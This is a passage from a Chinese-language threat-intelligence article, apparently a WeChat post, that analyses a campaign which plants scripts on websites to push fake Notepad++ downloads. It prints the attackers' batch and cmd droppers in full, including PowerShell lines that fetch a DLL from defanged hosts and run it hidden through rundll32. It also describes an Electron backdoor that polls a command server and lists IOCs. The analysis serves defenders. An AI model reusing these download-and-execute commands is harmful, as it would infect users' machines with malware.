target="_blank">https://wl[.]gl/supp.jpg</a>&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">exit</span></span></code><br/></pre></p><p data-layout-id="83" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">5月9日</span>: 来自com-apps[.]cc 的update.bat</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">@<span class="code-snippet__built_in">echo</span>  off</span></code><br/><code><span leaf="">powershell  -W 1 -C <span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">=</span><span class="code-snippet__string"><span class="code-snippet__variable">$env</span></span><span class="code-snippet__string">:Temp+&#39;\publl.dll&#39;; iwr  &#39;<a href="https://t[.]ly/docreport09052026.pdf" target="_blank">https://t[.]ly/docreport09052026.pdf</a>&#39; -OutFile </span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">;  Start-Process rundll32 -ArgumentList  </span><span class="code-snippet__string"><span class="code-snippet__variable">$f</span></span><span class="code-snippet__string">,&#39;Begin&#39; -Window Hidden&#34;</span></span></code><br/><code><span leaf="">start  <span class="code-snippet__string">&#34;&#34;</span> <span class="code-snippet__string">&#34;<a href="https://bc[.]ax/Supp.html" target="_blank">https://bc[.]ax/Supp.html</a>&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">exit</span></span></code><br/></pre></p><p data-layout-id="85"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">它们的核心逻辑一致：从 Storj 公共 CDN 下载DLL文件，通过rundll32隐藏窗口调用导出函数Begin，再打开一个伪装页面分散用户注意力。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001017" data-ratio="0.6666666666666666" data-s="300,640" type="block" data-type="png" data-w="609" src="https://wechat2rss.xlab.app/img-proxy/?k=c1bc5a4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8ypVDYWDxNX9ydX052NhB5UcdTDtVlC7X8dMPC9IIje0aWwib0RTsYyxgLWicXeoDVk5Ex2p0ByCRIiaiaaNQCXvIYsh5rbA5YQYibE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="88"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">而NotepadPlusPlus.zip就稍微有所变化，在5月16日压缩包中的是cmd文件；两天之后就变成了js文件。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27114427860696516" data-s="300,640" data-type="png" data-w="804" style="width:100%;" type="block" data-backw="578" data-backh="157" data-imgfileid="100001018" src="https://wechat2rss.xlab.app/img-proxy/?k=315f130a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wbImqZzgibz4UWGRNPjQPAs5Hw2X2oT8gaIr386tzrnnybfqhfmrjlu45fxyzoCSRazUCfNaC5DlgKrd7iacicfsCput1bYXCuK0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="90" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">5月16日</span>: 来自com-app[.]cc的NotepadPlusPlus.cmd</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">@<span class="code-snippet__built_in">echo</span>  off</span></code><br/><code><span leaf="">setlocal</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> not  <span class="code-snippet__string">&#34;%1&#34;</span>==<span class="code-snippet__string">&#34;am_admin&#34;</span> (powershell -WindowStyle Hidden -Command  <span class="code-snippet__string">&#34;Start-Process cmd -ArgumentList &#39;/c %~f0 am_admin&#39; -WindowStyle  Minimized&#34;</span> &amp; <span class="code-snippet__built_in">exit</span> /b)</span></code><br/><code><span leaf="">mode  con: cols=1 lines=1</span></code><br/><code><span leaf="">powershell  -WindowStyle Hidden -Command ^</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__variable">$dll</span></span><span class="code-snippet__string">  = &#39;%APPDATA%\Microsoft\Windows\NotepadPlusPlus.dll&#39;; ^</span></span></code><br/><code><span leaf="">Invoke-WebRequest  &#39;<a href="https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll" target="_blank">https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll</a>&#39; -OutFile <span class="code-snippet__variable">$dll</span>  -UseBasicParsing; ^</span></code><br/><code><span leaf="">Start-Process  rundll32 -ArgumentList <span class="code-snippet__variable">$dll</span>, &#39;Begin&#39; -WindowStyle Hidden&#34;</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">exit</span></span></code><br/><code></code><br/></pre></p><p data-layout-id="92" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">5月18日</span>: 来自com-app[.]cc的NotepadPlugPlus.js</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100001019" data-ratio="0.4648148148148148" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d43e0316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wUAEnqFuXl5QyHBxicEiaDNGEDPBshCApQuzIofIict9CeHnSibAKyBoAAsgOhib52XphtzkyjibAYSiaLn46Ms35H82ia3jwElwmhAMk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="94"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">它们的功能也是下载，只不过cmd用于下载下一阶段的载荷NotepadPlusPlus.dll；而js则是用于下载最终阶段的载荷UtilifySetup.exe。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-layout-id="95" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">样本分析：installer.dll &amp; notepadplusplus.js</span></span></h2><p data-layout-id="96"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">上述的bat或cmd文件都是用于下载下一阶段的DLL文件，虽然不同的脚本中使用了publl.dll，NotepadPlusPlus.dll等名字，但从样本中的PDB信息可知这个DLL真实名字为installer。目前，我们只捕获俩个installer.dll，对应俩个不同的阶段。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-backh="338" data-backw="554" data-imgfileid="100001020" data-ratio="0.6101083032490975" data-s="300,640" type="block" data-type="png" data-w="554" style="width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdd08044&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zlX4X5dMLWeSZok8xFhpicEWsLz4iabdHCGwXBxE3KOG6B7IIyRoDVeKibYQjgoJDa6zG8p81GwKibrstnSPTOU4BsfgmUCn6dib20%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="98" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf="">第一阶段：<span textstyle="" style="font-weight: bold;">5月7日至9日</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>:    <span class="code-snippet__number">5659292833</span>ec421da11ebde005d9c9a8</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Compiled</span>  Timestamp: <span class="code-snippet__number">2026</span>-<span class="code-snippet__number">02</span>-<span class="code-snippet__number">16</span> <span class="code-snippet__number">18</span>:<span class="code-snippet__number">19</span>:<span class="code-snippet__number">13</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Language</span>:    Rust</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">PDB</span>:  installer.pdb</span></code><br/></pre></p><p data-layout-id="100"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">行为流程：</span></p><ul class="list-paddingleft-1"><li><p data-layout-id="101"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在%TEMP%下创建随机命名的文件夹</span></p></li><li><p data-layout-id="102"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从<a href="https://wl[.]gl/sup.exe下载下一阶段样本并保存" target="_blank">https://wl[.]gl/sup.exe下载下一阶段样本并保存</a></span></p></li><li><p data-layout-id="103"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用cmd启动sup.exe</span></p></li></ul><p data-layout-id="104"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">最终拉取到的sup.exe是一个携带有效代码签名证书的PuTTY客户端，目前该链接已失效。我们判断这个阶段极有可能只是测试 / 统计性投放，用以验证整条投毒链路的可行性与转化率，核心判断依据为：</span></p><ul class="list-paddingleft-1"><li><p data-layout-id="105"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Loader 本身未做任何持久化</span></p></li><li><p data-layout-id="106"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">下载回来的 payload 未实施任何恶意行为</span></p></li></ul><p data-layout-id="107" style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 24px;"><span leaf="">第二阶段：<span textstyle="" style="font-weight: bold;">5月16日至今</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>:  d30cc10d54ebc967c8538ff74f442eee</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Compiled</span>  Timestamp: <span class="code-snippet__number">2026</span>-<span class="code-snippet__number">05</span>-<span class="code-snippet__number">16</span> <span class="code-snippet__number">04</span>:<span class="code-snippet__number">04</span>:<span class="code-snippet__number">55</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Language</span>:  Rust</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">PDB</span>:  installer.pdb</span></code><br/></pre></p><p data-layout-id="109" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">它的功能和第一阶段的installer.dll一样，</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-layout-id&#34;:&#34;110&#34;,&#34;style&#34;:&#34;font-size: 17px; font-weight: 300; color: rgba(0, 0, 0, 0.9); line-height: 1.6em; margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下载执行下一阶段的载荷，只不过载荷变成了UtilifySetup.exe。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.07103218645948946" data-s="300,640" data-type="png" data-w="901" style="width:100%;" type="block" data-backw="578" data-backh="41" data-imgfileid="100001021" src="https://wechat2rss.xlab.app/img-proxy/?k=95057732&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xbMIicqrjPvUh2Kr4QUibT59wRuawAelicmiaiawnz9ctGQuj0td5fSYrx7ywXicfZBIuPCzRVsLTm4oqbzBrsh8YbPhGjg2FKIMnJI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="112" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">前文已经讨论过NotepadPlusPlus.zip包括cmd/js俩种形式，已知notepadPlusPlugs.cmd是用于下载installer.dll，那notepadPlusPlus.js的目的又是什么呢？</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">MD5:ec5dfee13abf94e08d0f94e90b527db0</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Language:  JavaScript</span></span></code><br/></pre></p><p data-layout-id="112"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">将notepadPlusPlus.js去混淆后，不难看出，它的功能也是下载执行下一阶段载荷UtilifySetup.exe。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.687037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001022" src="https://wechat2rss.xlab.app/img-proxy/?k=e180faca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8z5l5p3okYBZj576NgjYj8x0tfrWIJ0T2gKEwfvcTOAzn5M0UuYuicM4u0qzekoaBIYZ9wqOEKQqNRNWuKson1QuedwTHF2BS24%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-layout-id="116" style="font-size: 17px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">样本分析：UtilifySetup.exe</span></span></h2><p data-layout-id="117" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">UtilifySetup.exe是Inno Setup打包的安装文件，执行后会将释放到</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">%appdata%\local\SuperMaxionQuickMaxlite目录</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">MD5</span>:  <span class="code-snippet__number">18</span>a7251ddde77ed24bc54700d84d9be1</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">SHA1</span>:  <span class="code-snippet__number">9434</span>fe686801742ef7d6da248fb0b900dc32208a</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Compiled</span>  TimeStamp: <span class="code-snippet__number">2026</span>-<span class="code-snippet__number">02</span>-<span class="code-snippet__number">11</span> <span class="code-snippet__number">19</span>:<span class="code-snippet__number">40</span>:<span class="code-snippet__number">27</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Type</span>:  Inno Setup</span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5719381688466112" data-s="300,640" data-type="png" data-w="841" type="block" data-imgfileid="100001023" src="https://wechat2rss.xlab.app/img-proxy/?k=9ec7d8e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xvg3tDog07Dq6Eb5H4hUVPJGuSud5TrBBJicuU1ia7t52DkRrYiaCHQJWB5E8tXFOmPhMzrWyqwO2icPWnTP1ZoRa4Wx5klzFuia8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="120"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这其实是一个Electron程序，将asar解包之后，可以看来源代码来自于github开源。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36203703703703705" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001024" src="https://wechat2rss.xlab.app/img-proxy/?k=2aeb5353&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ySxLPcgPqNqzgBD1WaBuWH5SB07KmObI0PUMRRTkDP5UmRsacb1Oye8y36Ay8PdR9s1HPfnu7yCJpjJOcXAvlo3ITgkcwUy8s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="122"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这个文件在VT是0检测，难道又是一个测试程序？答案是否定的。经过分析，我们发现攻击者使用恶意的index.js替换原始入口文件。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3787037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001025" src="https://wechat2rss.xlab.app/img-proxy/?k=b88da07c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yqsAOCf1pnrlbRwYfStydKF4FuUNIn1R5nj1GeDQ88beWjW3YjOG3GyjJsy6xTAFm8smpV1f824rehNatL8AHzamS01vLj6cg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="124"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">去混淆之后，它的核心功能是使用 Electron 框架自带的setLoginItemSettings API实现持久化；每30秒向远程服务器web-telegram[.]ug发送POST请求，等待执行其下发的获取指令，可执行任意的js代码或者运行可执行文件。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7806451612903226" data-s="300,640" data-type="png" data-w="930" type="block" data-imgfileid="100001026" src="https://wechat2rss.xlab.app/img-proxy/?k=4e0fa305&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wHjTicf27dXaqbN0lI6rxuOlqkXuAqaicGRMDHIsEt4SSfjaMFr9DzS6wV01nADL5AqpfK3D98CfDuXaCY1gSZrfcxJbJgg4BU0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1 data-layout-id="126" style="font-size: 20px;font-weight: 400;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 12px;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">另一个攻击团伙</span></span></h1><p data-layout-id="127" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在我们的调查中，发现部分受害者还被攻击过2俩次，以bitsy.ai为例，它在5月10日第一名受害者名单中，但是却不在5月17日的第二批名单中。我们一开始为bitsy.ai的修复行动感到开心，但检查之后却发现它虽然清理了之前的脚本，但又被植入了另一类恶意脚本。这个脚本使用简单的reverse的对抗，还原后的下一阶段的javascript脚本地址为</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><a href="https://staticcloudflare[.]pro/api/css.js" target="_blank">https://staticcloudflare[.]pro/api/css.js</a></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39166666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001027" src="https://wechat2rss.xlab.app/img-proxy/?k=ffd1e64d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xnBCBGRVOgRvZ0gXYcq24ec9wNMPe1DibEDvohnas2uo4qGXFRJ83oHjBk3Cg9icAvD1Aia7zxatP8FgsurRGrRSibyibxS1dgzFrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="129" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">再以哈佛国际评论为例，4月23日有一个，涉及的IOC为script-dev[.]digital，文中并没有提供恶意脚本，但我们通过溯源发现了以下脚本，还原后的下一阶段javascript脚本地址为</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><a href="https://script-dev[.]digital/api/css.js" target="_blank">https://script-dev[.]digital/api/css.js</a></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6796296296296296" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001028" src="https://wechat2rss.xlab.app/img-proxy/?k=a75ddc78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8ymAHWvI9KXLXt2pO1IG7KdH3X879xuuHAGsz4ibo6lGkoNWwibicmnxB5Q88OZxmTQyd79L2DftUca1Z4DptSCqljW4mAqZjXGlg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-layout-id="131" style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans 